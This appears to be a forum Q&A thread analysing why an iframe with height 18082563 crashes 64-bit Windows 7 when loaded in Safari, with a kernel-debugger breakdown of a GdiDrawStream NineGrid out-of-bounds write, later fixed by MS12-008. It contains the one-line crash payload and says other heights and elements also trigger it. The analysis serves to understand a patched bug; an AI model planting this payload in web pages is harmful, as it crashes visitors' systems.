Why does this iframe tag causes Safari on x64 Windows to crash?

Question

In case you have not heard this piece of code will cause a BSoD crash on x64 bit Windows 7 when ran in Safari

<iframe height='18082563'></iframe>

So naturally the question is how exactly does it happen, and why 18082563 and not say "1808256 4" ?

Answer 1

This is the explanation to it.

http://pastebin.com/XTWnLF3p

The bug happens due to a NineGrid request coming through GdiDrawStream sent on behalf of the UX Theme DLL which handles Windows Themes starting in XP and later.

Webkit browsers (along with IE8 -- but not IE9, it would seem) attempt to render HTML elements on the page using the native skin of the OS. In this case, in the drawControl function (see http://www.opensource.apple.com/source/WebCore/WebCore-658.28/rendering/RenderThemeWin.cpp), DrawThemeBackground is called, which handles skinning of OS controls.

A 96 (0x60) byte buffer is sent (parameter 2 and 3 of GdiDrawStream are the size and buffer address, parameter 1 is the HDC).

Draw Steam buffers begin with a magic value, followed by a series of commands identified by a 32-byte market. Here is the stream sent with the special iframe when viewed in Safari:

44727753 = 'DrwS' = DrawStream Magic

Command Buffers:

#0: 00000000 <SET TARGET>
    3b01017a // Destination DC (hdc) *** Must match HDC in GdiDrawStream argument 1 ***
    // Destination Clip (ERECTL):
    0000011b // Left
    00000011 // Top
    0000012c // Right
    0089f580 // Bottom               *** Multiply by 2, and you get the "magic" value used in the iframe PoC ***
#1: 00000001 <SET SOURCE>
    058506a3 // Source Surface (pso)  *** Dumped the surface from kernel mode, got a 13x5 32BPP bitmap which is the Luna/Aero scrollbar slider control ***
#2: 00000009 <NINEGRID>
// Destination Clip (ERECTL):          *** Should match the Destination Clip of the Target
    0000011b // Left
    00000011 // Top
    0000012c // Right
    0089f580 // Bottom
// Source Clip (ERECTL):                 *** Should be within the bounds of the surface (which is 13x5 in this case)
    00000000 // Left
    00000000 // Top
    0000000e // Right
    00000001 // Bottom
// NINEGRID_BITMAP_INFO             *** Documented in RDP docs. Should fit within the surface and destination.
    00000001 // Flags (DSDNG_STRETCH)
    0000000a // Left Width
    00000003 // Right Width
    00000000 // Top Height
    00000000 // Bottom Height
    00000000 // Transparent

Here is the raw dump:

0: kd> dds @r8 l18
00000000`003be664  44727753
00000000`003be668  00000000
00000000`003be66c  2b0108d5   // HDC, this will change from dump to dump
00000000`003be670  0000011b
00000000`003be674  00000011
00000000`003be678  0000012c
00000000`003be67c  0089f580
00000000`003be680  00000001
00000000`003be684  018503c2   // Bitmap Surface, this will change from dump to dump
00000000`003be688  00000009
00000000`003be68c  0000011b
00000000`003be690  00000011
00000000`003be694  0000012c
00000000`003be698  0089f580
00000000`003be69c  00000000
00000000`003be6a0  00000000
00000000`003be6a4  0000000e
00000000`003be6a8  00000001
00000000`003be6ac  00000001
00000000`003be6b0  0000000a
00000000`003be6b4  00000003
00000000`003be6b8  00000000
00000000`003be6bc  00000000
00000000`003be6c0  00000000

What are you essentially seeing is an iframe that has a particularly interesting height, that when the scrollbar is being drawn and themed, a math error in the NineGrid transform causes an out-of-bounds write. This PoC would work in IE 8, but IE 8 has a well known CSS bug where it has a maximum pixel limit (around 1342177), which is why it doesn't immediately manifest itself.

OTHER HEIGHTS ARE EXPLOITABLE, and some may be small enough such that even IE 8 hits the NineGrid height corner case.

IE9 does not seem to theme controls using UxTheme at all, and its scrollbar behavior is different from IE 8, so even though the pixel limit is no longer there, the PoC did not work. Firefox was not tested.

NOT ONLY IFRAMES ARE VULNERABLE. Testing with an HTML of the same height resulted in a crash in Safari as well.

What this means is that any client, local or remote, that does skinning of the controls (i.e.: almost all of them -- even a button on a flash PDF) could result in a NineGrid transform that hits this bug. It's not at all specific to WebKit.

Answer 2

As a note, MS recently released MS12-008 which fixes this.